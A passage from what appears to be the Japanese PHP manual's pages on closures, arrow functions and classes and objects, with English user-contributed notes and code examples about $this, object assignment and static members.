        public $deflected = false;

        function __invoke($p){ return $this->$p; }
        function __toString(){ return 'this'; } // test for reference

        function __construct($name){ $this->name = $name; }
        function deflect(){ $this->deflected = true; }

        public function shoot()
        { // If customAttack is defined, use that as the shoot resut.  Otherwise shoot feet
            if(is_callable($this->customAttack)){
                return call_user_func($this->customAttack);
            }

            $this->feet = false;
        }
    }

    $p = new Person('Bob');

    $p->customAttack =
                function(){

                    echo $this; // Notice: Undefined variable: this

                    #$this = new Class() // FATAL ERROR

                    // Trick to assign the variable '$this'
                    extract(array('this' => requesting_class())); // Determine what class is responsible for making the call to Closure

                    var_dump( $this  );  // Passive reference works
                    var_dump( $$this ); // Added to class:  function __toString(){ return 'this'; }

                    $name = $this('name'); // Success
                    echo $name;            // Outputs: Bob
                    echo '<br />';
                    echo $$this->name;

                    call_user_func_array(array($this, 'deflect'), array()); // SUCCESSFULLY CALLED

                    #$this->head = 0; //** FATAL ERROR: Using $this when not in object context
                    $$this->head = 0;  // Successfully sets value

                };

    print_r($p);

    $p->shoot();

    print_r($p);

    die();

?>
rob at ubrio dot us 25-Nov-2009 10:20
You can always call protected members using the __call() method - similar to how you hack around this in Ruby using send.

<?php

class Fun
{
 protected function debug($message)
 {
   echo "DEBUG: $message\n";
 }

 public function yield_something($callback)
 {
   return $callback("Soemthing!!");
 }

 public function having_fun()
 {
   $self =& $this;
   return $this->yield_something(function($data) use (&$self)
   {
     $self->debug("Doing stuff to the data");
     // do something with $data
     $self->debug("Finished doing stuff with the data.");
   });
 }

 // Ah-Ha!
 public function __call($method, $args = array())
 {
   if(is_callable(array($this, $method)))
     return call_user_func_array(array($this, $method), $args);
 }
}

$fun = new Fun();
echo $fun->having_fun();

?>
Anonymous 03-Aug-2009 02:50
If you want to check whether you're dealing with a closure specifically and not a string or array callback you can do this:

<?php
$isAClosure = is_callable($thing) && is_object($thing);
?>
a dot schaffhirt at sedna-soft dot de 19-Jun-2009 02:55
When using anonymous functions as properties in Classes, note that there are three name scopes: one for constants, one for properties and one for methods. That means, you can use the same name for a constant, for a property and for a method at a time.

Since a property can be also an anonymous function as of PHP 5.3.0, an oddity arises when they share the same name, not meaning that there would be any conflict.

Consider the following example:

<?php
    class MyClass {
        const member = 1;

        public $member;

        public function member () {
            return "method 'member'";
        }

        public function __construct () {
            $this->member = function () {
                return "anonymous function 'member'";
            };
        }
    }

    header("Content-Type: text/plain");

    $myObj = new MyClass();

    var_dump(MyClass::member);  // int(1)
    var_dump($myObj->member);   // object(Closure)#2 (0) {}
    var_dump($myObj->member()); // string(15) "method 'member'"
    $myMember = $myObj->member;
    var_dump($myMember());      // string(27) "anonymous function 'member'"
?>

That means, regular method invocations work like expected and like before. The anonymous function instead, must be retrieved into a variable first (just like a property) and can only then be invoked.

Best regards,


アロー関数

アロー関数は 無名関数 を簡潔に書ける文法として PHP 7.4 で追加されました。

無名関数とアロー関数は共に Closure クラスを使って実装されています。

アロー関数は fn (argument_list) => expr という形で記述します。

アロー関数は 無名関数 と同じ機能をサポートしていますが、 親のスコープで使える変数が常に自動で使える点だけが異なります。

式の中で使える変数が親のスコープで定義されている場合、 暗黙のうちに参照ではなく値がキャプチャされます。 次の例では、$fn1 と $fn2 は同じ振る舞いをします。

例1 アロー関数は参照ではなく値を自動でキャプチャする

<?php

$y = 1;

$fn1 = fn($x) => $x + $y;
// $y を値渡しするのと同じ
$fn2 = function ($x) use ($y) {
    return $x + $y;
};

var_export($fn1(3));
?>

上の例の出力は以下となります。

4

この仕組みは、アロー関数をネストした場合でも同じ動きをします:

例2 アロー関数は、ネストされた場合でも変数を値でキャプチャする

<?php

$z = 1;
$fn = fn($x) => fn($y) => $x * $y + $z;
// 51 を出力
var_export($fn(5)(10));
?>

無名関数と同じように、 アロー関数の文法は、引数や戻り値、デフォルト値、可変長引数、 リファレンス渡しやリファレンス返しを含む、任意の関数シグネチャを扱えます。 次に示す例は、全て正しいアロー関数の例です:

例3 アロー関数の例

<?php

fn(array $x) => $x;
static fn(): int => $x;
fn($x = 42) => $x;
fn(&$x) => $x;
fn&($x) => $x;
fn($x, ...$rest) => $rest;

?>

アロー関数は変数を値でバインドします。 これは変数 $x をアロー関数の内部で使うたびに use($x) を実行することと大体同じです。 値でバインドするということは、アロー関数の外のスコープの値を変更することが不可能だということです。 参照でバインドしたい場合は、無名関数 が使えます。

例4 外部のスコープの値はアロー関数では変更できない

<?php

$x = 1;
$fn = fn() => $x++; // 意味がない
$fn();
var_export($x);  // 1 を出力

?>

変更履歴

バージョン | 説明
7.4.0 | アロー関数が利用可能になりました。

注意

注意: アロー関数の内部から func_num_args()、 func_get_arg() および func_get_args() を使用することができます。

User Contributed Notes

InvisibleSmiley 12-Jan-2021 08:07
Unlike anonymous functions, arrow functions cannot have a void return type declaration.

May seem obvious, but if you thought you could make use of the benefits of arrow functions (using variables from the parent scope) to simplify a function or method call, keep in mind that this is only possible if you do NOT tell PHP that the arrow function does indeed return void.
zhangchengming at kkguan dot com 14-Dec-2020 08:00
<?php

$x = 1;

(fn() => print($x))(); // Outputs 1

(fn($x) => print($x))(2); // Outputs 2
dexen dot devries at gmail dot com 03-Aug-2020 07:39
Beware compact() not being able to access (import) variables from external scope (known in versions: 7.4.0, 7.4.8) (bug: https://bugs.php.net/bug.php?id=78970).

A workaround is available - use the variable directly; this will cause it to be imported into the arrow function's namespace and make it available to the compact() too.

<?php
$aa = 111;
$accessing_variable_works = fn($bb) => [ $aa, $bb ];
$compact_is_broken = fn($bb) => compact('aa', 'bb');
$compact_can_work_with_workaround = fn($bb) => compact('aa', 'bb') + ['workaround' => $aa];
var_dump($accessing_variable_works(333));
var_dump($compact_is_broken(555));
var_dump($compact_can_work_with_workaround(777));
?>

result:
array(2) {
  [0]=>
  int(111)
  [1]=>
  int(333)
}
PHP Notice:  compact(): Undefined variable: aa in /home/m/vlt/guitar/tlb/s/public_html/index.php on line 9
array(1) {
  ["bb"]=>
  int(555)
}
array(3) {
  ["aa"]=>
  int(111)
  ["bb"]=>
  int(777)
  ["workaround"]=>
  int(111)
}
Koushil Mankali 27-Jul-2020 06:58
In example 4  (Values from the outer scope cannot be modified by arrow functions)

<?php

$x = 1;
$fn = fn() => $x++; // Has no effect
$fn();
var_export($x);  // Outputs 1

?>

Here we can use reference variable in fn(&$x) and pass the value from function call $fn($x) so that we will get the output as expected with out using Anonymous functions.

Example:

<?php

$x = 1;
$fn = fn(&$x) => $x++;
$fn($x);
var_export($x);

?>

Output : 2 (as expected)

But here it will not take values from parent scope automatically but we have to pass them explicitly.


クラスとオブジェクト

目次

  • はじめに
  • クラスの基礎
  • プロパティ
  • オブジェクト定数
  • クラスのオートローディング
  • コンストラクタとデストラクタ
  • アクセス権
  • オブジェクトの継承
  • スコープ定義演算子 (::)
  • static キーワード
  • クラスの抽象化
  • オブジェクト インターフェイス
  • トレイト
  • 無名クラス
  • オーバーロード
  • オブジェクトの反復処理
  • マジックメソッド
  • finalキーワード
  • オブジェクトのクローン作成
  • オブジェクトの比較
  • 遅延静的束縛 (Late Static Bindings)
  • オブジェクトと参照
  • オブジェクトのシリアライズ
  • 共変性と反変性
  • 変更履歴

User Contributed Notes

rjtarpura at gmail dot com 05-Apr-2020 06:57
We can also access function like this. It looks strange but it works.

<?php
class Foo {
    public $aMemberVar = 'aMemberVar Member Variable';
    public $aFuncName = 'aMemberFunc';

    function aMemberFunc() {
        print 'Inside `aMemberFunc()`';
    }
}

$foo = new Foo;

function getVarName()
{
     return 'aFuncName';
}

print $foo->{$foo->{getVarName()}}();
farzan at ifarzan dot com 05-Oct-2004 04:04
PHP 5 is very very flexible in accessing member variables and member functions. These access methods maybe look unusual and unnecessary at first glance; but they are very useful sometimes; specially when you work with SimpleXML classes and objects. I have posted a similar comment in SimpleXML function reference section, but this one is more comprehensive.

I use the following class as reference for all examples:

<?php
class Foo {
    public $aMemberVar = 'aMemberVar Member Variable';
    public $aFuncName = 'aMemberFunc';

    function aMemberFunc() {
        print 'Inside `aMemberFunc()`';
    }
}

$foo = new Foo;
?>

You can access member variables in an object using another variable as name:

<?php
$element = 'aMemberVar';
print $foo->$element; // prints "aMemberVar Member Variable"
?>

or use functions:

<?php
function getVarName()
{ return 'aMemberVar'; }

print $foo->{getVarName()}; // prints "aMemberVar Member Variable"
?>

Important Note: You must surround function name with { and } or PHP would think you are calling a member function of object "foo".

you can use a constant or literal as well:

<?php
define(MY_CONSTANT, 'aMemberVar');
print $foo->{MY_CONSTANT}; // Prints "aMemberVar Member Variable"
print $foo->{'aMemberVar'}; // Prints "aMemberVar Member Variable"
?>

You can use members of other objects as well:

<?php
print $foo->{$otherObj->var};
print $foo->{$otherObj->func()};
?>

You can use mathods above to access member functions as well:

<?php
print $foo->{'aMemberFunc'}(); // Prints "Inside `aMemberFunc()`"
print $foo->{$foo->aFuncName}(); // Prints "Inside `aMemberFunc()`"
?>


はじめに

PHP には完全なオブジェクトモデルが搭載されています。 搭載されている機能には アクセス権、 abstract クラスやメソッド、 final クラスやメソッド、 新たな マジックメソッド、 インターフェイス、 オブジェクトのクローン作成 などがあります。

PHP では、オブジェクトを参照やハンドルと同様に扱います。つまり、 オブジェクトそのものではなくオブジェクトへの参照を変数に格納するようになります。 オブジェクトおよびリファレンス を参照ください。

ヒント

ユーザーレベルでの命名の手引き も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


クラスの基礎

class

各クラスの定義は、classキーワードで始まり、クラス名が続きます。 そしてその後に波括弧のペアが続き、 その中にはクラスのプロパティとメソッドの定義を記述します。

クラス名には、PHP の予約語 以外でラベルとして有効なあらゆる名前を使用することができます。 有効なクラス名は、先頭が文字あるいはアンダースコアで始まり、 その後に任意の数の文字/数字/アンダースコアが続くものです。 正規表現で表すと、 ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$ のようになります。

クラスの中には、 定数 や 変数 ("プロパティ" といいます) そして関数 ("メソッド" といいます) を含めることができます。

例1 簡単なクラス定義

<?php
class SimpleClass
{
    // プロパティの宣言
    public $var = 'a default value';

    // メソッドの宣言
    public function displayVar() {
        echo $this->var;
    }
}
?>

メソッドがオブジェクトのコンテキストからコールされる場合は、 疑似変数 $this が利用可能です。 $this は、呼び出し元オブジェクトの値です。

警告

静的でないメソッドを static にコールすると、 Error がスローされます。 PHP 8.0.0 より前のバージョンでは、推奨されない警告が発生し、 $this が未定義になっていました。

例2 $this 疑似変数の例

<?php
class A
{
    function foo()
    {
        if (isset($this)) {
            echo '$this is defined (';
            echo get_class($this);
            echo ")\n";
        } else {
            echo "\$this is not defined.\n";
        }
    }
}

class B
{
    function bar()
    {
        A::foo();
    }
}

$a = new A();
$a->foo();

A::foo();

$b = new B();
$b->bar();

B::bar();
?>

上の例の PHP 7 での出力は、このようになります。

$this is defined (A)

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 27
$this is not defined.

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this is not defined.

Deprecated: Non-static method B::bar() should not be called statically in %s  on line 32

Deprecated: Non-static method A::foo() should not be called statically in %s  on line 20
$this is not defined.

上の例の PHP 8 での出力は、このようになります。:

$this is defined (A)

Fatal error: Uncaught Error: Non-static method A::foo() cannot be called statically in %s :27
Stack trace:
#0 {main}
  thrown in %s  on line 27

new

あるクラスのインスタンスを生成するには、new キーワードを使わなければなりません。エラー時に 例外をスローするような コンストラクタを定義していない限り、 オブジェクトが常に生成されます。 クラスは、そのインスタンスを作成する前に定義しなければなりません (これが必須となる場合もあります)。

クラス名を含む文字列を new で指定すると、 そのクラスのインスタンスを作成します。クラスが名前空間に属している場合は、 完全修飾名を指定しなければなりません。

注意:

クラスのコンストラクタに引数を渡さなかった場合、 クラス名の後の括弧は省略しても構いません。

例3 インスタンスを作成する

<?php
$instance = new SimpleClass();

// 変数を使うこともできます
$className = 'SimpleClass';
$instance = new $className(); // new SimpleClass()
?>

クラスのコンテキストにおいては、 new self や new parent のようにして新しいオブジェクトを作成することができます。

作成済みのクラスのインスタンスを新たな変数に代入する場合、新しい変数は、 代入されたオブジェクトと同じインスタンスにアクセスします。 この動作は、インスタンスを関数に渡す場合も同様です。 作成済みのオブジェクトのコピーは、その クローンを作成 することにより作成可能です。

例4 オブジェクトの代入

<?php

$instance = new SimpleClass();

$assigned   =  $instance;
$reference  =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance と $reference は null になります

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

上の例の出力は以下となります。

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned will have this value"
}

複数のやり方で、オブジェクトのインスタンスを作ることが出来ます:

例5 新しいオブジェクトの作成

<?php
class Test
{
    static public function getNew()
    {
        return new static;
    }
}

class Child extends Test
{}

$obj1 = new Test();
$obj2 = new $obj1;
var_dump($obj1 !== $obj2);

$obj3 = Test::getNew();
var_dump($obj3 instanceof Test);

$obj4 = Child::getNew();
var_dump($obj4 instanceof Child);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)

新しく作成したオブジェクトのメンバーに、作成したその式の中でもアクセスすることができます。

例6 新しく作成したオブジェクトのメンバーへのアクセス

<?php
echo (new DateTime())->format('Y');
?>

上の例の出力は、 たとえば以下のようになります。

2016

注意: PHP 7.1 より前のバージョンでは、コンストラクタが定義されない場合、それへの引数が評価されていませんでした。

プロパティとメソッド

クラスのプロパティとメソッドは、それぞれ別の "名前空間" に存在するので、 同じ名前のプロパティとメソッドを共存させることもできます。 プロパティを参照する場合もメソッドを参照する場合も書きかたは同じです。 それがプロパティへのアクセスなのかメソッドの呼び出しなのかは、そのコンテキストによって決まります。 つまり、変数にアクセスしようとしているのか関数を呼び出そうとしているのかの違いです。

例7 プロパティへのアクセスとメソッドの呼び出し

<?php
class Foo
{
    public $bar = 'property';

    public function bar() {
        return 'method';
    }
}

$obj = new Foo();
echo $obj->bar, PHP_EOL, $obj->bar(), PHP_EOL;

上の例の出力は以下となります。

property
method

これはつまり、プロパティに 無名関数 を代入した場合に、その関数は直接呼び出せないということです。 その場合は、たとえば事前にプロパティを変数に代入しておく必要があります。 括弧で囲むと、プロパティを直接呼び出すこともできます。

例8 プロパティに格納した無名関数の呼び出し

<?php
class Foo
{
    public $bar;

    public function __construct() {
        $this->bar = function() {
            return 42;
        };
    }
}

$obj = new Foo();

echo ($obj->bar)(), PHP_EOL;

上の例の出力は以下となります。

42

extends

クラスは、宣言部に extends キーワードを含めることで、 他のクラスの定数や、メソッド、 およびプロパティを継承することができます。多重継承を行うことはできず、クラスが継承できるベース クラスは一つだけです。

継承された定数やメソッド、プロパティをオーバーライドするには、 親クラスで定義されているのと同じ名前でそれを再宣言します。 しかし、親クラスでそのメソッドが final 定義されている場合はオーバーライドできません。 オーバーライドされた元のメソッドや静的プロパティにアクセスするには、 parent:: で参照します。

例9 簡単なクラスの継承

<?php
class ExtendClass extends SimpleClass
{
    // 親クラスのメソッドを再定義
    function displayVar()
    {
        echo "Extending class\n";
        parent::displayVar();
    }
}

$extended = new ExtendClass();
$extended->displayVar();
?>

上の例の出力は以下となります。

Extending class
a default value

シグネチャの互換性に関するルール

メソッドをオーバーライドするときは、 子クラスのシグネチャが親クラスのそれと互換性がなければいけません。 互換性が壊れた場合、致命的なエラーが発生します。 PHP 8.0.0 より前のバージョンでは、 互換性が壊れた場合に、E_WARNING レベルの警告が発生していました。 共変性と反変性 の規則を守っている場合は、シグネチャに互換性があります。 必須の引数をオプションにした場合も、互換性があります。 また、新しい引数をオプションにしている場合も、互換性があります。 これは、リスコフの置換原則(Liskov Substitution Principle)、 略して LSP として知られています。 但し、コンストラクタ と private メソッドについては、 この規則の例外で、 オーバライドしたシグネチャにミスマッチがあっても致命的なエラーにはなりません。

例10 互換性がある子クラスのメソッド

<?php
class Base
{
    public function foo(int $a) {
        echo "Valid\n";
    }
}
class Extend1 extends Base
{
    function foo(int $a = 5)
    {
        parent::foo($a);
    }
}
class Extend2 extends Base
{
    function foo(int $a, $b = 5)
    {
        parent::foo($a);
    }
}
$extended1 = new Extend1();
$extended1->foo();
$extended2 = new Extend2();
$extended2->foo(1);

上の例の出力は以下となります。

Valid
Valid

次の例は、引数を削除した子クラスのメソッドや、 オプションの引数を必須にしたりすることが、親クラスのメソッドと互換性がなくなることを示しています。

例11 子クラスのメソッドで引数を削除すると致命的なエラーになる

<?php
class Base
{
    public function foo(int $a = 5) {
        echo "Valid\n";
    }
}
class Extend extends Base
{
    function foo()
    {
        parent::foo(1);
    }
}

上の例の PHP 8 での出力は、たとえば以下のようになります。:

Fatal error: Declaration of Extend::foo() must be compatible with Base::foo(int $a = 5) in /in/evtlq on line 13

例12 子クラスのメソッドで、オプションの引数を必須にすると致命的なエラーになる

<?php
class Base
{
    public function foo(int $a = 5) {
        echo "Valid\n";
    }
}
class Extend extends Base
{
    function foo(int $a)
    {
        parent::foo($a);
    }
}

上の例の PHP 8 での出力は、たとえば以下のようになります。:

Fatal error: Declaration of Extend::foo(int $a) must be compatible with Base::foo(int $a = 5) in /in/qJXVC on line 13
警告

メソッドの引数の名前を子クラスで変更しても、 シグネチャ上は非互換になりません。 しかし、こうしてしまうと 名前付き引数 を使った時に実行時エラーになるので、おすすめできません。

例13 子クラスで引数の名前を変更し、かつ名前付き引数を使うとエラーになる

<?php
class A {
    public function test($foo, $bar) {}
}
class B extends A {
    public function test($a, $b) {}
}
$obj = new B;
// A::test() の規約に従って引数を渡す
$obj->test(foo: "foo", bar: "bar"); // エラー発生!

上の例の出力は、 たとえば以下のようになります。

Fatal error: Uncaught Error: Unknown named parameter $foo in /in/XaaeN:14
Stack trace:
#0 {main}
  thrown in /in/XaaeN on line 14

::class

class キーワードでもクラス名の解決を行うことが出来ます。 クラスの名前が ClassName になっているクラスの完全修飾名を取得するには、 ClassName::class を使います。 これは、名前空間付きのクラスに使うと特に便利です。

例14 クラス名の解決

<?php
namespace NS {
    class ClassName {
    }

    echo ClassName::class;
}
?>

上の例の出力は以下となります。

NS\ClassName

注意:

::class によるクラス名の解決は、コンパイル時の変換です。 つまり、クラス名を作るタイミングでは、まだオートロードが行われていないということです。 結果的に、クラスがまだ存在しない時点でクラス名が展開されることになります。 この場合にはエラーは発生しません。

例15 クラス名が存在しない場合の名前解決

<?php
print Does\Not\Exist::class;
?>

上の例の出力は以下となります。

Does\Not\Exist

PHP 8.0.0 以降では、 ::class はオブジェクトに対しても使えるようになりました。 この名前解決はコンパイル時ではなく、実行時に行われます。 この場合、get_class() をオブジェクトに対して使った時と同じ動きをします。

例16 オブジェクトの名前解決

<?php
namespace NS {
    class ClassName {
    }
}
$c = new ClassName();
print $c::class;
?>

上の例の出力は以下となります。

NS\ClassName

nullsafe メソッドとプロパティ

PHP 8.0.0 以降では、プロパティやメソッドは "nullsafe" 演算子 ?-> を使ってアクセスすることもできます。 nullsafe 演算子は既に述べたメソッドやプロパティと同じように振る舞いますが、 オブジェクトが null と評価された場合に、例外はスローされず、 null が返される点だけが異なります。 オブジェクトの評価がチェインの一部だった場合は、 残りのチェインはスキップされます。

この演算子の働きは、 オブジェクトにアクセスするたびに is_null() でラップするコードに似ています。 しかし、よりコンパクトです。

例17 nullsafe 演算子

<?php

// PHP 8.0.0 以降は、このように書けます:
$result = $repository?->getUser(5)?->name;

// これは、以下のコードチェックと同等です:
if (is_null($repository)) {
    $result = null;
} else {
    $user = $repository->getUser(5);
    if (is_null($user)) {
        $result = null;
    } else {
        $result = $user->name;
    }
}
?>

注意:

nullsafe 演算子は、プロパティやメソッドが値を返す際、 null が正しく、期待されうる値とみなせる場合に一番よく使います。 エラーを示すためなら、例外を投げるほうが好ましいです。

User Contributed Notes

thisleenoble at DOPEOPLESTILLNOSPAM dot me dot com 23-Nov-2020 09:50
Instantiating an object with a string variable defaults to non-namespaced scope. Given two classes in the same namespace.

<?php
namespace foo;

class bar {
  public function createSubclass(string $type) {
     return new $type();
  }
?>
<?php
namespace foo;

class baz {

}
?>
<?php
$barObj = new bar();
$barObj->createSubclass('baz');

// result: Uncaught Error: Class 'baz' not found
?>

Change bar class to:
<?php
namespace foo;

class bar {
  public function createSubclass(string $type) {
     type = '\\'.__NAMESPACE__.'\\'.type;
     return new $type();
  }
?>
Anonymous 15-Jun-2018 05:05
At first I was also confused by the assignment vs referencing but here's how I was finally able to get my head around it. This is another example which is somewhat similar to one of the comments but can be helpful to those who did not understand the first example. Imagine object instances as rooms where you can store and manipulate your properties and functions.  The variable that contains the object simply holds 'a key' to this room and thus access to the object. When you assign this variable to another new variable, what you are doing is you're making a copy of the key and giving it to this new variable. That means these two variable now have access to the same 'room' (object) and can thus get in and manipulate the values. However, when you create a reference, what you doing is you're making the variables SHARE the same key. They both have access to the room. If one of the variable is given a new key, then the key that they are sharing is replaced and they now share a new different key. This does not affect the other variable with a copy of the old key...that variable still has access to the first room
Hayley Watson 21-Jan-2018 10:52
Class names are case-insensitive:
<?php
class Foo{}
class foo{} //Fatal error.
?>

Any casing can be used to refer to the class
<?php
class bAr{}
$t = new Bar();
$u = new bar();
echo ($t instanceof $u) ? "true" : "false"; // "true"
echo ($t instanceof BAR) ? "true" : "false"; // "true"
echo is_a($u, 'baR') ? "true" : "false"; // "true"
?>

But the case used when the class was defined is preserved as "canonical":
<?php
echo get_class($t); // "bAr"
?>

And, as always, "case-insensitivity" only applies to ASCII.
<?php
class пасха{}
class Пасха{} // valid
$p = new ПАСХА(); // Uncaught warning.
?>
kStarbe at gmail point com 30-Mar-2017 07:36
You start using :: in second example although the static concept has not been explained. This is not easy to discover when you are starting from the basics.
Anonymous 04-Feb-2017 09:59
Understanding what does $this exactly do:

<?php
class toop {
    public $i = "1234";
    public function setv($a) {
        $this->i = $a;
    }
    public function returnthis() {
        return $this;
    }
}
$ob = new toop();
$ob1 = new toop();
$obthis = $ob->returnthis();
echo $ob->i."\n";
$ob->setv("\$ob set");
echo $ob->i."\n";
$obthis->setv("\$obthis set");
echo $ob->i."\n";
$ob1->setv('$ob1 set');
echo $ob->i."\n";
?>

This will output:

1234
$ob set
$obthis set
$obthis set
Doug 07-Oct-2010 07:29
What is the difference between  $this  and  self ?

Inside a class definition, $this refers to the current object, while  self  refers to the current class.

It is necessary to refer to a class element using  self ,
and refer to an object element using  $this .
Note also how an object variable must be preceded by a keyword in its definition.

The following example illustrates a few cases:

<?php
class Classy {

const       STAT = 'S' ; // no dollar sign for constants (they are always static)
static     $stat = 'Static' ;
public     $publ = 'Public' ;
private    $priv = 'Private' ;
protected  $prot = 'Protected' ;

function __construct( ){  }

public function showMe( ){
    print '<br> self::STAT: '  .  self::STAT ; // refer to a (static) constant like this
    print '<br> self::$stat: ' . self::$stat ; // static variable
    print '<br>$this->stat: '  . $this->stat ; // legal, but not what you might think: empty result
    print '<br>$this->publ: '  . $this->publ ; // refer to an object variable like this
    print '<br>' ;
}
}
$me = new Classy( ) ;
$me->showMe( ) ;

/* Produces this output:
self::STAT: S
self::$stat: Static
$this->stat:
$this->publ: Public
*/
?>
moty66 at gmail dot com 16-Aug-2009 07:59
I hope that this will help to understand how to work with static variables inside a class

<?php

class a {

    public static $foo = 'I am foo';
    public $bar = 'I am bar';

    public static function getFoo() { echo self::$foo;    }
    public static function setFoo() { self::$foo = 'I am a new foo'; }
    public function getBar() { echo $this->bar;    }
}

$ob = new a();
a::getFoo();     // output: I am foo
$ob->getFoo();    // output: I am foo
//a::getBar();     // fatal error: using $this not in object context
$ob->getBar();    // output: I am bar
                // If you keep $bar non static this will work
                // but if bar was static, then var_dump($this->bar) will output null

// unset($ob);
a::setFoo();    // The same effect as if you called $ob->setFoo(); because $foo is static
$ob = new a();     // This will have no effects on $foo
$ob->getFoo();    // output: I am a new foo

?>

Regards
Motaz Abuthiab
Notes on stdClass 09-Jul-2009 03:26
stdClass is the default PHP object. stdClass has no properties, methods or parent. It does not support magic methods, and implements no interfaces.

When you cast a scalar or array as Object, you get an instance of stdClass. You can use stdClass whenever you need a generic object instance.
<?php
// ways of creating stdClass instances
$x = new stdClass;
$y = (object) null;        // same as above
$z = (object) 'a';         // creates property 'scalar' = 'a'
$a = (object) array('property1' => 1, 'property2' => 'b');
?>

stdClass is NOT a base class! PHP classes do not automatically inherit from any class. All classes are standalone, unless they explicitly extend another class. PHP differs from many object-oriented languages in this respect.
<?php
// CTest does not derive from stdClass
class CTest {
    public $property1;
}
$t = new CTest;
var_dump($t instanceof stdClass);            // false
var_dump(is_subclass_of($t, 'stdClass'));    // false
echo get_class($t) . "\n";                   // 'CTest'
echo get_parent_class($t) . "\n";            // false (no parent)
?>

You cannot define a class named 'stdClass' in your code. That name is already used by the system. You can define a class named 'Object'.

You could define a class that extends stdClass, but you would get no benefit, as stdClass does nothing.

(tested on PHP 5.2.8)
Jeffrey 08-Oct-2008 03:49
A PHP Class can be used for several things, but at the most basic level, you'll use classes to "organize and deal with like-minded data". Here's what I mean by "organizing like-minded data". First, start with unorganized data.

<?php
$customer_name;
$item_name;
$item_price;
$customer_address;
$item_qty;
$item_total;
?>

Now to organize the data into PHP classes:

<?php
class Customer {
  $name;          // same as $customer_name
  $address;       // same as $customer_address
}

class Item {
  $name;          // same as $item_name
  $price;         // same as $item_price
  $qty;           // same as $item_qty
  $total;         // same as $item_total
}
?>

Now here's what I mean by "dealing" with the data. Note: The data is already organized, so that in itself makes writing new functions extremely easy.

<?php
class Customer {
  public $name, $address;                   // the data for this class...

  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}

class Item {
  public $name, $price, $qty, $total;        // the data for this class...

  // function to calculate total
  // function to format numbers
  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}
?>

Imagination that each function you write only calls the bits of data in that class. Some functions may access all the data, while other functions may only access one piece of data. If each function revolves around the data inside, then you have created a good class.
wbcarts at juno dot com 20-Aug-2008 06:11
CLASSES and OBJECTS that represent the "Ideal World"

Wouldn't it be great to get the lawn mowed by saying $son->mowLawn()? Assuming the function mowLawn() is defined, and you have a son that doesn't throw errors, the lawn will be mowed.

In the following example; let objects of type Line3D measure their own length in 3-dimensional space. Why should I or PHP have to provide another method from outside this class to calculate length, when the class itself holds all the neccessary data and has the education to make the calculation for itself?

<?php

/*
 * Point3D.php
 *
 * Represents one locaton or position in 3-dimensional space
 * using an (x, y, z) coordinate system.
 */
class Point3D
{
    public $x;
    public $y;
    public $z;                  // the x coordinate of this Point.

    /*
     * use the x and y variables inherited from Point.php.
     */
    public function __construct($xCoord=0, $yCoord=0, $zCoord=0)
    {
        $this->x = $xCoord;
    $this->y = $yCoord;
        $this->z = $zCoord;
    }

    /*
     * the (String) representation of this Point as "Point3D(x, y, z)".
     */
    public function __toString()
    {
        return 'Point3D(x=' . $this->x . ', y=' . $this->y . ', z=' . $this->z . ')';
    }
}

/*
 * Line3D.php
 *
 * Represents one Line in 3-dimensional space using two Point3D objects.
 */
class Line3D
{
    $start;
    $end;

    public function __construct($xCoord1=0, $yCoord1=0, $zCoord1=0, $xCoord2=1, $yCoord2=1, $zCoord2=1)
    {
        $this->start = new Point3D($xCoord1, $yCoord1, $zCoord1);
        $this->end = new Point3D($xCoord2, $yCoord2, $zCoord2);
    }

    /*
     * calculate the length of this Line in 3-dimensional space.
     */
    public function getLength()
    {
        return sqrt(
            pow($this->start->x - $this->end->x, 2) +
            pow($this->start->y - $this->end->y, 2) +
            pow($this->start->z - $this->end->z, 2)
        );
    }

    /*
     * The (String) representation of this Line as "Line3D[start, end, length]".
     */
    public function __toString()
    {
        return 'Line3D[start=' . $this->start .
            ', end=' . $this->end .
            ', length=' . $this->getLength() . ']';
    }
}

/*
 * create and display objects of type Line3D.
 */
echo '<p>' . (new Line3D()) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 0)) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 100)) . "</p>\n";

?>

  <--  The results look like this  -->

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=1, y=1, z=1), length=1.73205080757]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=0), length=141.421356237]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=100), length=173.205080757]

My absolute favorite thing about OOP is that "good" objects keep themselves in check. I mean really, it's the exact same thing in reality... like, if you hire a plumber to fix your kitchen sink, wouldn't you expect him to figure out the best plan of attack? Wouldn't he dislike the fact that you want to control the whole job? Wouldn't you expect him to not give you additional problems? And for god's sake, it is too much to ask that he cleans up before he leaves?

I say, design your classes well, so they can do their jobs uninterrupted... who like bad news? And, if your classes and objects are well defined, educated, and have all the necessary data to work on (like the examples above do), you won't have to micro-manage the whole program from outside of the class. In other words... create an object, and LET IT RIP!
aaron at thatone dot com 15-Dec-2007 06:46
I was confused at first about object assignment, because it's not quite the same as normal assignment or assignment by reference. But I think I've figured out what's going on.

First, think of variables in PHP as data slots. Each one is a name that points to a data slot that can hold a value that is one of the basic data types: a number, a string, a boolean, etc. When you create a reference, you are making a second name that points at the same data slot. When you assign one variable to another, you are copying the contents of one data slot to another data slot.

Now, the trick is that object instances are not like the basic data types. They cannot be held in the data slots directly. Instead, an object's "handle" goes in the data slot. This is an identifier that points at one particular instance of an obect. So, the object handle, although not directly visible to the programmer, is one of the basic datatypes.

What makes this tricky is that when you take a variable which holds an object handle, and you assign it to another variable, that other variable gets a copy of the same object handle. This means that both variables can change the state of the same object instance. But they are not references, so if one of the variables is assigned a new value, it does not affect the other variable.

<?php
// Assignment of an object
Class Object{
   public $foo="bar";
};

$objectVar = new Object();
$reference =& $objectVar;
$assignment = $objectVar

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
